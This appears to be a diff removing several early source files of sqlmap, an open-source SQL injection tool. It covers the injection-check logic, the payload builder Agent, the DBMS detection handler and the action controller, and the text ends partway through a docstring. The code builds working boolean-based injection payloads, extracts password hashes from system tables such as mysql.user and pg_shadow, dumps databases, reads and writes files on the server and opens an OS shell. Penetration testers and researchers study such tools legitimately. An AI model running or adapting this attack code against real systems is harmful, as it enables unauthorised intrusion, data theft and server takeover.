from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
def action():
"""
This function exploit the SQL injection on the affected
url parameter and extract requested data from the
back-end database management system or operating system
if possible
"""
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
conf.dbmsHandler = setHandler()
if not conf.dbmsHandler:
htmlParsed = getHtmlErrorFp()
errMsg = "sqlmap was not able to fingerprint the "
errMsg += "back-end database management system"
if htmlParsed:
errMsg += ", but from the HTML error page it was "
errMsg += "possible to determinate that the "
errMsg += "back-end DBMS is %s" % htmlParsed
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
errMsg += ". Do not specify the back-end DBMS manually, "
errMsg += "sqlmap will fingerprint the DBMS for you"
else:
errMsg += ". Support for this DBMS will be implemented if "
errMsg += "you ask, just drop us an email"
raise sqlmapUnsupportedDBMSException, errMsg
print "%s\n" % conf.dbmsHandler.getFingerprint()
# Techniques options
if conf.stackedTest:
dumper.string("stacked queries support", stackedTest())
if conf.timeTest:
dumper.string("time based blind sql injection payload", timeTest())
if conf.unionTest:
dumper.string("valid union", unionTest())
# Enumeration options
if conf.getBanner:
dumper.string("banner", conf.dbmsHandler.getBanner())
if conf.getCurrentUser:
dumper.string("current user", conf.dbmsHandler.getCurrentUser())
if conf.getCurrentDb:
dumper.string("current database", conf.dbmsHandler.getCurrentDb())
if conf.isDba:
dumper.string("current user is DBA", conf.dbmsHandler.isDba())
if conf.getUsers:
dumper.lister("database management system users", conf.dbmsHandler.getUsers())
if conf.getPasswordHashes:
dumper.userSettings("database management system users password hashes",
conf.dbmsHandler.getPasswordHashes(), "password hash")
if conf.getPrivileges:
dumper.userSettings("database management system users privileges",
conf.dbmsHandler.getPrivileges(), "privilege")
if conf.getDbs:
dumper.lister("available databases", conf.dbmsHandler.getDbs())
if conf.getTables:
dumper.dbTables(conf.dbmsHandler.getTables())
if conf.getColumns:
dumper.dbTableColumns(conf.dbmsHandler.getColumns())
if conf.dumpTable:
dumper.dbTableValues(conf.dbmsHandler.dumpTable())
if conf.dumpAll:
conf.dbmsHandler.dumpAll()
if conf.query:
dumper.string(conf.query, conf.dbmsHandler.sqlQuery(conf.query))
if conf.sqlShell:
conf.dbmsHandler.sqlShell()
# File system options
if conf.rFile:
dumper.string(conf.rFile, conf.dbmsHandler.readFile(conf.rFile))
if conf.wFile:
dumper.string(conf.wFile, conf.dbmsHandler.writeFile(conf.wFile))
# Takeover options
if conf.osShell:
conf.dbmsHandler.osShell()
-401
View File
@@ -1,401 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.controller.action import action
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.session import setString
from lib.core.session import setRegexp
from lib.request.connect import Connect as Request
def checkSqlInjection(place, parameter, value, parenthesis):
"""
This function checks if the GET, POST, Cookie, User-Agent
parameters are affected by a SQL injection vulnerability and
identifies the type of SQL injection:
* Unescaped numeric injection
* Single quoted string injection
* Double quoted string injection
"""
randInt = randomInt()
randStr = randomStr()
if conf.prefix or conf.postfix:
prefix = ""
postfix = ""
if conf.prefix:
prefix = conf.prefix
if conf.postfix:
postfix = conf.postfix
infoMsg = "testing custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
return "custom"
infoMsg = "testing unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "numeric"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "unescaped numeric injectable"
logger.info(infoMsg)
infoMsg = "testing single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "stringsingle"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "single quoted string injectable"
logger.info(infoMsg)
infoMsg = "testing LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "likesingle"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE single quoted string injectable"
logger.info(infoMsg)
infoMsg = "testing double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "stringdouble"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "double quoted string injectable"
logger.info(infoMsg)
infoMsg = "testing LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
logger.info(infoMsg)
return "likedouble"
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "LIKE double quoted string injectable"
logger.info(infoMsg)
return None
def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
dynamic, the content of the page differs, otherwise the
dynamicity might depend on another parameter.
"""
infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt))
dynResult1 = Request.queryPage(payload, place)
if True == dynResult1:
return False
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place)
payload = agent.payload(place, parameter, value, "\"%s" % randomStr())
dynResult3 = Request.queryPage(payload, place)
condition = True != dynResult2
condition |= True != dynResult3
return condition
def checkStability():
"""
This function checks if the URL content is stable requesting the
same page three times with a small delay within each request to
assume that it is stable.
In case the content of the page differs when requesting
the same page, the dynamicity might depend on other parameters,
like for instance string matching (--string).
"""
infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True)
time.sleep(1)
secondPage, secondHeaders = Request.queryPage(content=True)
condition = firstPage == secondPage
if condition == False:
warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's "
warnMsg += "manual paragraph 'Page comparison' and provide a "
warnMsg += "string or regular expression to match on"
logger.warn(warnMsg)
if condition == True:
logMsg = "url is stable"
logger.info(logMsg)
return condition
def checkString():
if not conf.string:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("String") and
kb.resumedQueries[conf.url]["String"][:-1] == conf.string
)
if condition:
return True
infoMsg = "testing if the provided string is within the "
infoMsg += "target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if conf.string in page:
setString()
return True
else:
errMsg = "you provided '%s' as the string to " % conf.string
errMsg += "match, but such a string is not within the target "
errMsg += "URL page content, please provide another string."
logger.error(errMsg)
return False
def checkRegexp():
if not conf.regexp:
return True
condition = (
kb.resumedQueries.has_key(conf.url) and
kb.resumedQueries[conf.url].has_key("Regular expression") and
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
)
if condition:
return True
infoMsg = "testing if the provided regular expression matches within "
infoMsg += "the target URL page content"
logger.info(infoMsg)
page, _ = Request.queryPage(content=True)
if re.search(conf.regexp, page, re.I | re.M):
setRegexp()
return True
else:
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
errMsg += "match, but such a regular expression does not have any "
errMsg += "match within the target URL page content, please provide "
errMsg += "another regular expression."
logger.error(errMsg)
return False
def checkConnection():
infoMsg = "testing connection to the target url"
logger.info(infoMsg)
try:
page, _ = Request.getPage()
conf.seqMatcher.set_seq1(page)
except sqlmapConnectionException, exceptionMsg:
exceptionMsg = str(exceptionMsg)
if conf.multipleTargets:
exceptionMsg += ", skipping to next url"
logger.warn(exceptionMsg)
return False
else:
raise sqlmapConnectionException, exceptionMsg
return True
-258
View File
@@ -1,258 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.controller.action import action
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkStability
from lib.controller.checks import checkString
from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection
from lib.core.common import paramToDict
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection
from lib.core.target import createTargetDirs
from lib.core.target import initTargetEnv
from lib.utils.parenthesis import checkForParenthesis
def __selectInjection(injData):
"""
Selection function for injection place, parameters and type.
"""
message = "there were multiple injection points, please select the "
message += "one to use to go ahead:\n"
for i in xrange(0, len(injData)):
injPlace = injData[i][0]
injParameter = injData[i][1]
injType = injData[i][2]
message += "[%d] place: %s, parameter: " % (i, injPlace)
message += "%s, type: %s" % (injParameter, injType)
if i == 0:
message += " (default)"
message += "\n"
message += "[q] Quit\nChoice: "
select = readInput(message, default="0")
if not select:
index = 0
elif select.isdigit() and int(select) < len(injData) and int(select) >= 0:
index = int(select)
elif select[0] in ( "Q", "q" ):
return "Quit"
else:
warnMsg = "Invalid choice, retry"
logger.warn(warnMsg)
__selectInjection(injData)
return injData[index]
def start():
"""
This function calls a function that performs checks on both URL
stability and all GET, POST, Cookie and User-Agent parameters to
check if they are dynamic and SQL injection affected
"""
if conf.url:
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
if conf.configFile and not kb.targetUrls:
errMsg = "you did not edit the configuration file properly, set "
errMsg += "the target url, list of targets or google dork"
logger.error(errMsg)
if kb.targetUrls and len(kb.targetUrls) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
logger.info(infoMsg)
hostCount = 0
receivedCookies = []
cookieStr = ""
setCookieAsInjectable = True
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
conf.url = targetUrl
conf.method = targetMethod
conf.data = targetData
conf.cookie = targetCookie
injData = []
if conf.multipleTargets:
hostCount += 1
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
if conf.data:
message += "\nPOST data: %s" % conf.data
message += "\ndo you want to test this url? [Y/n/q] "
test = readInput(message, default="Y")
if not test:
pass
elif test[0] in ("n", "N"):
continue
elif test[0] in ("q", "Q"):
break
logMsg = "testing url %s" % targetUrl
logger.info(logMsg)
initTargetEnv()
if not checkConnection() or not checkString() or not checkRegexp():
continue
for _, cookie in enumerate(conf.cj):
cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s;" % cookie[8:index]
if cookieStr:
cookieStr = cookieStr[:-1]
if "Cookie" in conf.parameters:
message = "you provided an HTTP Cookie header value. "
message += "The target url provided its own Cookie within "
message += "the HTTP Set-Cookie header. Do you want to "
message += "continue using the HTTP Cookie values that "
message += "you provided? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False
if setCookieAsInjectable:
conf.httpHeaders.append(("Cookie", cookieStr))
conf.parameters["Cookie"] = cookieStr.replace("%", "%%")
__paramDict = paramToDict("Cookie", cookieStr)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
__testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string and not conf.regexp and not conf.eRegexp:
# NOTE: this is not needed anymore, leaving only to display
# a warning message to the user in case the page is not stable
checkStability()
for place in conf.parameters.keys():
if not conf.paramDict.has_key(place):
continue
paramDict = conf.paramDict[place]
for parameter, value in paramDict.items():
if not checkDynParam(place, parameter, value):
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
logger.warn(warnMsg)
else:
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter
logMsg += "%d parenthesis" % parenthesis
logger.info(logMsg)
injType = checkSqlInjection(place, parameter, value, parenthesis)
if injType:
injData.append((place, parameter, injType))
break
else:
infoMsg = "%s parameter '%s' is not " % (place, parameter)
infoMsg += "injectable with %d parenthesis" % parenthesis
logger.info(infoMsg)
if not injData:
warnMsg = "%s parameter '%s' is not " % (place, parameter)
warnMsg += "injectable"
logger.warn(warnMsg)
if not kb.injPlace or not kb.injParameter or not kb.injType:
if len(injData) == 1:
injDataSelected = injData[0]
elif len(injData) > 1:
injDataSelected = __selectInjection(injData)
elif conf.multipleTargets:
continue
else:
return
if injDataSelected == "Quit":
return
else:
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
setInjection()
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType:
condition = False
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
if not exploit or exploit[0] in ("y", "Y"):
condition = True
else:
condition = True
if condition:
checkForParenthesis()
createTargetDirs()
action()
if conf.loggedToOut:
logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)
-71
View File
@@ -1,71 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import PGSQL_ALIASES
from plugins.dbms.mssqlserver import MSSQLServerMap
from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql import PostgreSQLMap
def setHandler():
"""
Detect which is the target web application back-end database
management system.
"""
count = 0
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
dbmsMap = (
( MYSQL_ALIASES, MySQLMap ),
( ORACLE_ALIASES, OracleMap ),
( PGSQL_ALIASES, PostgreSQLMap ),
( MSSQL_ALIASES, MSSQLServerMap ),
)
for dbmsAliases, dbmsEntry in dbmsMap:
if conf.dbms and conf.dbms not in dbmsAliases:
debugMsg = "skipping test for %s" % dbmsNames[count]
logger.debug(debugMsg)
count += 1
continue
dbmsHandler = dbmsEntry()
if dbmsHandler.checkDbms():
if not conf.dbms or conf.dbms in dbmsAliases:
kb.dbmsDetected = True
return dbmsHandler
return None
-25
View File
@@ -1,25 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass
-526
View File
@@ -1,526 +0,0 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent:
"""
This class defines the SQL agent methods.
"""
def __init__(self):
temp.delimiter = randomStr(6)
temp.start = randomStr(6)
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
negValue = "-"
# After identifing the injectable parameter
if kb.injPlace == "User-Agent":
retValue = kb.injParameter.replace(kb.injParameter,
"%s%s" % (negValue, kb.injParameter + newValue))
elif kb.injParameter:
paramString = conf.parameters[kb.injPlace]
paramDict = conf.paramDict[kb.injPlace]
value = paramDict[kb.injParameter]
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
# Before identifing the injectable parameter
elif parameter == "User-Agent":
retValue = value.replace(value, newValue)
else:
paramString = conf.parameters[place]
retValue = paramString.replace("%s=%s" % (parameter, value),
"%s=%s" % (parameter, newValue))
return retValue
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
to perform the injection depending on the injection type
identified as valid
"""
query = ""
if conf.prefix:
query = conf.prefix
else:
if kb.injType == "numeric" or conf.postfix:
pass
elif kb.injType in ( "stringsingle", "likesingle" ):
query = "'"
elif kb.injType in ( "stringdouble", "likedouble" ):
query = "\""
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis)
query += string
return query
def postfixQuery(self, string, comment=None):
"""
This method appends the DBMS comment to the
SQL injection request
"""
randInt = randomInt()
randStr = randomStr()
if comment:
string += comment
if conf.postfix:
string += " %s" % conf.postfix
else:
if kb.parenthesis != None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
if kb.injType == "numeric":
string += "%d=%d" % (randInt, randInt)
elif kb.injType == "stringsingle":
string += "'%s'='%s" % (randStr, randStr)
elif kb.injType == "likesingle":
string += "'%s' LIKE '%s" % (randStr, randStr)
elif kb.injType == "stringdouble":
string += "\"%s\"=\"%s" % (randStr, randStr)
elif kb.injType == "likedouble":
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
else:
raise sqlmapNoneDataException, "unsupported injection type"
return string
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
PostgreSQL scope: VERSION()
Oracle input: banner
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
Microsoft SQL Server input: @@VERSION
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: @@VERSION
@param field: field string to be processed
@type field: C{str}
@return: field string nulled and casted
@rtype: C{str}
"""
if field.startswith("(CASE"):
nulledCastedField = field
else:
nulledCastedField = queries[kb.dbms].cast % field
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
return nulledCastedField
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
MySQL scope: SELECT user, password FROM mysql.user
PostgreSQL input: usename,passwd
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
Oracle input: COLUMN_NAME,DATA_TYPE
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
@param fields: fields string to be processed
@type fields: C{str}
@return: fields string nulled, casted and concatened
@rtype: C{str}
"""
if not kb.dbmsDetected:
return fields
fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[kb.dbms].delimiter
nulledCastedFields = []
for field in fieldsSplitted:
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
return nulledCastedConcatFields
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
fieldsNoSelect = query
if fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectFrom:
fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsNoSelect:
fieldsToCastStr = fieldsNoSelect
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
# TODO: really needed?!
#if query.startswith("SELECT ") and "(SELECT " in query:
# fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsToCastList, fieldsToCastStr
def concatQuery(self, query):
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
